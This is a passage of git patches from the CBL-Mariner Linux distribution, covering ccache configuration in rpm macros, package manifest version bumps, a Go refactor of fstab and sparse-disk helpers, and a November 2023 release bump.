CCACHE_DIR ;}\ +%{?mariner_ccache_enabled:CCACHE_COMPILERCHECK=content ; export CCACHE_COMPILERCHECK ;}\ +%{?mariner_ccache_enabled:ccache --zero-stats} \ %{nil} # use zstd compression for binary package payloads diff --git a/SPECS/mariner-rpm-macros/mariner-rpm-macros.signatures.json b/SPECS/mariner-rpm-macros/mariner-rpm-macros.signatures.json index 8aa36f6e0f2..99e25fd7fe0 100644 --- a/SPECS/mariner-rpm-macros/mariner-rpm-macros.signatures.json +++ b/SPECS/mariner-rpm-macros/mariner-rpm-macros.signatures.json @@ -10,7 +10,7 @@ "gen-ld-script.sh": "894b394f376dae7be23c314b79f31772aa40a24895122242abd7a178aea9cade", "generate-package-note.py": "bd76a8e88a1356fed74863c38e5cf6a20c1c26426ac94ba21dd172578e8ca2a2", "gpgverify": "db0e050f56b694497d70603a6f5c17dd60ddbcf7cee670616851cd389f6767c4", - "macros": "74fc068de4db291dd67e4b9ec1721e20bc4e1c0a7bd9f8f7d62e6fd0089c441a", + "macros": "b7ad5c17d6ce105427eeef54f43317cb1cc8cc114bfeca7693069242ad747d20", "macros.check": "79367176c3c7d10c0158b6e5d881e0fc3c8fd50c5957dad2f097c2d4a37833e7", "macros.dist": "817653f151349adff8c658143cf01ad1f8b51168be2087e4e02778224da85d63", "macros.fonts": "f52edc646414c5dd0f5f4cdd570f2f9dbe6fb97d4f0db360908deb56d96492f8", diff --git a/SPECS/mariner-rpm-macros/mariner-rpm-macros.spec b/SPECS/mariner-rpm-macros/mariner-rpm-macros.spec index 8c76112b650..49776ef40f3 100644 --- a/SPECS/mariner-rpm-macros/mariner-rpm-macros.spec +++ b/SPECS/mariner-rpm-macros/mariner-rpm-macros.spec @@ -6,7 +6,7 @@ Summary: Mariner specific rpm macro files Name: mariner-rpm-macros Version: 2.0 -Release: 23%{?dist} +Release: 24%{?dist} License: GPL+ AND MIT Vendor: Microsoft Corporation Distribution: Mariner @@ -125,6 +125,9 @@ install -p -m 644 -t %{buildroot}%{rcluadir}/srpm forge.lua %{_rpmconfigdir}/macros.d/macros.check %changelog +* Thu Nov 09 2023 George Mileka - 2.0-24 +- Update ccache to use the compiler content for comparison. + * Thu Jul 06 2023 Andrew Phelps - 2.0-23 - Compress rpm binaries with zstd diff --git a/toolkit/resources/manifests/package/pkggen_core_aarch64.txt b/toolkit/resources/manifests/package/pkggen_core_aarch64.txt index 4b623255f08..4b4d7a16506 100644 --- a/toolkit/resources/manifests/package/pkggen_core_aarch64.txt +++ b/toolkit/resources/manifests/package/pkggen_core_aarch64.txt @@ -206,8 +206,8 @@ pcre-8.45-2.cm2.aarch64.rpm pcre-libs-8.45-2.cm2.aarch64.rpm lua-5.4.4-1.cm2.aarch64.rpm lua-libs-5.4.4-1.cm2.aarch64.rpm -mariner-rpm-macros-2.0-23.cm2.noarch.rpm -mariner-check-macros-2.0-23.cm2.noarch.rpm +mariner-rpm-macros-2.0-24.cm2.noarch.rpm +mariner-check-macros-2.0-24.cm2.noarch.rpm tdnf-3.5.2-2.cm2.aarch64.rpm tdnf-cli-libs-3.5.2-2.cm2.aarch64.rpm tdnf-devel-3.5.2-2.cm2.aarch64.rpm diff --git a/toolkit/resources/manifests/package/pkggen_core_x86_64.txt b/toolkit/resources/manifests/package/pkggen_core_x86_64.txt index f0a34f18f8a..ca8d153ae93 100644 --- a/toolkit/resources/manifests/package/pkggen_core_x86_64.txt +++ b/toolkit/resources/manifests/package/pkggen_core_x86_64.txt @@ -206,8 +206,8 @@ pcre-8.45-2.cm2.x86_64.rpm pcre-libs-8.45-2.cm2.x86_64.rpm lua-5.4.4-1.cm2.x86_64.rpm lua-libs-5.4.4-1.cm2.x86_64.rpm -mariner-rpm-macros-2.0-23.cm2.noarch.rpm -mariner-check-macros-2.0-23.cm2.noarch.rpm +mariner-rpm-macros-2.0-24.cm2.noarch.rpm +mariner-check-macros-2.0-24.cm2.noarch.rpm tdnf-3.5.2-2.cm2.x86_64.rpm tdnf-cli-libs-3.5.2-2.cm2.x86_64.rpm tdnf-devel-3.5.2-2.cm2.x86_64.rpm diff --git a/toolkit/resources/manifests/package/toolchain_aarch64.txt b/toolkit/resources/manifests/package/toolchain_aarch64.txt index 1a059208fd8..0bd3e09f9e4 100644 --- a/toolkit/resources/manifests/package/toolchain_aarch64.txt +++ b/toolkit/resources/manifests/package/toolchain_aarch64.txt @@ -229,7 +229,7 @@ m4-1.4.19-2.cm2.aarch64.rpm m4-debuginfo-1.4.19-2.cm2.aarch64.rpm make-4.3-3.cm2.aarch64.rpm make-debuginfo-4.3-3.cm2.aarch64.rpm -mariner-check-macros-2.0-23.cm2.noarch.rpm +mariner-check-macros-2.0-24.cm2.noarch.rpm mariner-repos-2.0-8.cm2.noarch.rpm mariner-repos-debug-2.0-8.cm2.noarch.rpm mariner-repos-debug-preview-2.0-8.cm2.noarch.rpm @@ -243,7 +243,7 @@ mariner-repos-microsoft-2.0-8.cm2.noarch.rpm mariner-repos-microsoft-preview-2.0-8.cm2.noarch.rpm mariner-repos-preview-2.0-8.cm2.noarch.rpm mariner-repos-shared-2.0-8.cm2.noarch.rpm -mariner-rpm-macros-2.0-23.cm2.noarch.rpm +mariner-rpm-macros-2.0-24.cm2.noarch.rpm meson-0.60.2-2.cm2.noarch.rpm mpfr-4.1.0-2.cm2.aarch64.rpm mpfr-debuginfo-4.1.0-2.cm2.aarch64.rpm diff --git a/toolkit/resources/manifests/package/toolchain_x86_64.txt b/toolkit/resources/manifests/package/toolchain_x86_64.txt index c0d77fd54a7..e168b9fb0fa 100644 --- a/toolkit/resources/manifests/package/toolchain_x86_64.txt +++ b/toolkit/resources/manifests/package/toolchain_x86_64.txt @@ -229,7 +229,7 @@ m4-1.4.19-2.cm2.x86_64.rpm m4-debuginfo-1.4.19-2.cm2.x86_64.rpm make-4.3-3.cm2.x86_64.rpm make-debuginfo-4.3-3.cm2.x86_64.rpm -mariner-check-macros-2.0-23.cm2.noarch.rpm +mariner-check-macros-2.0-24.cm2.noarch.rpm mariner-repos-2.0-8.cm2.noarch.rpm mariner-repos-debug-2.0-8.cm2.noarch.rpm mariner-repos-debug-preview-2.0-8.cm2.noarch.rpm @@ -243,7 +243,7 @@ mariner-repos-microsoft-2.0-8.cm2.noarch.rpm mariner-repos-microsoft-preview-2.0-8.cm2.noarch.rpm mariner-repos-preview-2.0-8.cm2.noarch.rpm mariner-repos-shared-2.0-8.cm2.noarch.rpm -mariner-rpm-macros-2.0-23.cm2.noarch.rpm +mariner-rpm-macros-2.0-24.cm2.noarch.rpm meson-0.60.2-2.cm2.noarch.rpm mpfr-4.1.0-2.cm2.x86_64.rpm mpfr-debuginfo-4.1.0-2.cm2.x86_64.rpm diff --git a/toolkit/tools/pkgworker/pkgworker.go b/toolkit/tools/pkgworker/pkgworker.go index cd2abda9103..8ea28adc7b9 100644 --- a/toolkit/tools/pkgworker/pkgworker.go +++ b/toolkit/tools/pkgworker/pkgworker.go @@ -201,12 +201,15 @@ func buildSRPMInChroot(chrootDir, rpmDirPath, toolchainDirPath, workerTar, srpmF toolchainRpmsOverlayMount, toolchainRpmsOverlayExtraDirs := safechroot.NewOverlayMountPoint(chroot.RootDir(), overlaySource, chrootLocalToolchainDir, toolchainDirPath, chrootLocalToolchainDir, overlayWorkDirToolchain) rpmCacheMount := safechroot.NewMountPoint(*cacheDir, chrootLocalRpmsCacheDir, "", safechroot.BindMountPointFlags, "") mountPoints := []*safechroot.MountPoint{outRpmsOverlayMount, toolchainRpmsOverlayMount, rpmCacheMount} + extraDirs := append(outRpmsOverlayExtraDirs, chrootLocalRpmsCacheDir) + extraDirs = append(extraDirs, toolchainRpmsOverlayExtraDirs...) if isCCacheEnabled(ccacheManager) { ccacheMount := safechroot.NewMountPoint(ccacheManager.CurrentPkgGroup.CCacheDir, chrootCcacheDir, "", safechroot.BindMountPointFlags, "") mountPoints = append(mountPoints, ccacheMount) + // need to update extraDirs with ccache specific folders to be created + // inside the container. + extraDirs = append(extraDirs, chrootCcacheDir) } - extraDirs := append(outRpmsOverlayExtraDirs, chrootLocalRpmsCacheDir, chrootCcacheDir) - extraDirs = append(extraDirs, toolchainRpmsOverlayExtraDirs...) err = chroot.Initialize(workerTar, extraDirs, mountPoints) if err != nil { From e25b8ca2d1dc814c62e3b9b0895917fcdc1c3586 Mon Sep 17 00:00:00 2001 From: Chris Gunn Date: Fri, 10 Nov 2023 16:16:27 -0800 Subject: [PATCH 33/34] Toolkit: Improvements for UpdateFstab and CreateSparseDisk (#6733) --- toolkit/tools/imagegen/diskutils/diskutils.go | 7 ++--- .../imagegen/installutils/installutils.go | 29 ++++++++++++++----- 2 files changed, 23 insertions(+), 13 deletions(-) diff --git a/toolkit/tools/imagegen/diskutils/diskutils.go b/toolkit/tools/imagegen/diskutils/diskutils.go index ba0967d6efa..6f89e38b20e 100644 --- a/toolkit/tools/imagegen/diskutils/diskutils.go +++ b/toolkit/tools/imagegen/diskutils/diskutils.go @@ -217,17 +217,14 @@ func ApplyRawBinary(diskDevPath string, rawBinary configuration.RawBinary) (err // CreateEmptyDisk creates an empty raw disk in the given working directory as described in disk configuration func CreateEmptyDisk(workDirPath, diskName string, maxSize uint64) (diskFilePath string, err error) { - const ( - defautBlockSize = MiB - ) diskFilePath = filepath.Join(workDirPath, diskName) - err = CreateSparseDisk(diskFilePath, defautBlockSize, maxSize, 0o644) + err = CreateSparseDisk(diskFilePath, maxSize, 0o644) return } // CreateSparseDisk creates an empty sparse disk file. -func CreateSparseDisk(diskPath string, blockSize, size uint64, perm os.FileMode) (err error) { +func CreateSparseDisk(diskPath string, size uint64, perm os.FileMode) (err error) { // Open and truncate the file. file, err := os.OpenFile(diskPath, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, perm) if err != nil { diff --git a/toolkit/tools/imagegen/installutils/installutils.go b/toolkit/tools/imagegen/installutils/installutils.go index 96aeddfda36..366efe5bfe6 100644 --- a/toolkit/tools/imagegen/installutils/installutils.go +++ b/toolkit/tools/imagegen/installutils/installutils.go @@ -790,7 +790,23 @@ func updateInitramfsForEncrypt(installChroot *safechroot.Chroot) (err error) { return } -func UpdateFstab(installRoot string, partitionSettings []configuration.PartitionSetting, installMap, mountPointToFsTypeMap, mountPointToMountArgsMap, partIDToDevPathMap, partIDToFsTypeMap map[string]string, hidepidEnabled bool) (err error) { +func UpdateFstab(installRoot string, partitionSettings []configuration.PartitionSetting, installMap, + mountPointToFsTypeMap, mountPointToMountArgsMap, partIDToDevPathMap, partIDToFsTypeMap map[string]string, + hidepidEnabled bool, +) (err error) { + const fstabPath = "/etc/fstab" + + fullFstabPath := filepath.Join(installRoot, fstabPath) + + return UpdateFstabFile(fullFstabPath, partitionSettings, installMap, + mountPointToFsTypeMap, mountPointToMountArgsMap, partIDToDevPathMap, partIDToFsTypeMap, + hidepidEnabled) +} + +func UpdateFstabFile(fullFstabPath string, partitionSettings []configuration.PartitionSetting, installMap, + mountPointToFsTypeMap, mountPointToMountArgsMap, partIDToDevPathMap, partIDToFsTypeMap map[string]string, + hidepidEnabled bool, +) (err error) { const ( doPseudoFsMount = true ) @@ -803,7 +819,7 @@ func UpdateFstab(installRoot string, partitionSettings []configuration.Partition err = fmt.Errorf("unable to find PartitionSetting for '%s", mountPoint) return } - err = addEntryToFstab(installRoot, mountPoint, devicePath, mountPointToFsTypeMap[mountPoint], mountPointToMountArgsMap[mountPoint], partSetting.MountIdentifier, !doPseudoFsMount) + err = addEntryToFstab(fullFstabPath, mountPoint, devicePath, mountPointToFsTypeMap[mountPoint], mountPointToMountArgsMap[mountPoint], partSetting.MountIdentifier, !doPseudoFsMount) if err != nil { return } @@ -811,7 +827,7 @@ func UpdateFstab(installRoot string, partitionSettings []configuration.Partition } if hidepidEnabled { - err = addEntryToFstab(installRoot, "/proc", "proc", "proc", "rw,nosuid,nodev,noexec,relatime,hidepid=2", configuration.MountIdentifierNone, doPseudoFsMount) + err = addEntryToFstab(fullFstabPath, "/proc", "proc", "proc", "rw,nosuid,nodev,noexec,relatime,hidepid=2", configuration.MountIdentifierNone, doPseudoFsMount) if err != nil { return } @@ -822,7 +838,7 @@ func UpdateFstab(installRoot string, partitionSettings []configuration.Partition if fstype == "linux-swap" { swapPartitionPath, exists := partIDToDevPathMap[partID] if exists { - err = addEntryToFstab(installRoot, "none", swapPartitionPath, "swap", "", "", doPseudoFsMount) + err = addEntryToFstab(fullFstabPath, "none", swapPartitionPath, "swap", "", "", doPseudoFsMount) if err != nil { return } @@ -833,9 +849,8 @@ func UpdateFstab(installRoot string, partitionSettings []configuration.Partition return } -func addEntryToFstab(installRoot, mountPoint, devicePath, fsType, mountArgs string, identifierType configuration.MountIdentifier, doPseudoFsMount bool) (err error) { +func addEntryToFstab(fullFstabPath, mountPoint, devicePath, fsType, mountArgs string, identifierType configuration.MountIdentifier, doPseudoFsMount bool) (err error) { const ( - fstabPath = "/etc/fstab" rootfsMountPoint = "/" defaultOptions = "defaults" swapFsType = "swap" @@ -862,8 +877,6 @@ func addEntryToFstab(installRoot, mountPoint, devicePath, fsType, mountArgs stri options = swapOptions } - fullFstabPath := filepath.Join(installRoot, fstabPath) - // Get the block device var device string if diskutils.IsEncryptedDevice(devicePath) || diskutils.IsReadOnlyDevice(devicePath) || doPseudoFsMount { From 3602bb5171cbe84821bcc8e19a825d35851ab627 Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Fri, 10 Nov 2023 17:56:06 -0800 Subject: [PATCH 34/34] Prepare November 2023 Release (#6738) --- SPECS/mariner-release/mariner-release.spec | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/SPECS/mariner-release/mariner-release.spec b/SPECS/mariner-release/mariner-release.spec index 31792d4a002..137082b2705 100644 --- a/SPECS/mariner-release/mariner-release.spec +++ b/SPECS/mariner-release/mariner-release.spec @@ -1,7 +1,7 @@ Summary: CBL-Mariner release files Name: mariner-release Version: 2.0 -Release: 53%{?dist} +Release: 54%{?dist} License: MIT Vendor: Microsoft Corporation Distribution: Mariner @@ -62,6 +62,9 @@ EOF %config(noreplace) %{_sysconfdir}/issue.net %changelog +* Sat Nov 11 2023 CBL-Mariner Servicing Account - 2.0-54 +- Bump release for November 2023 Release + * Fri Oct 20 2023 CBL-Mariner Servicing Account - 2.0-53 - Bump release for October 2023 Release 2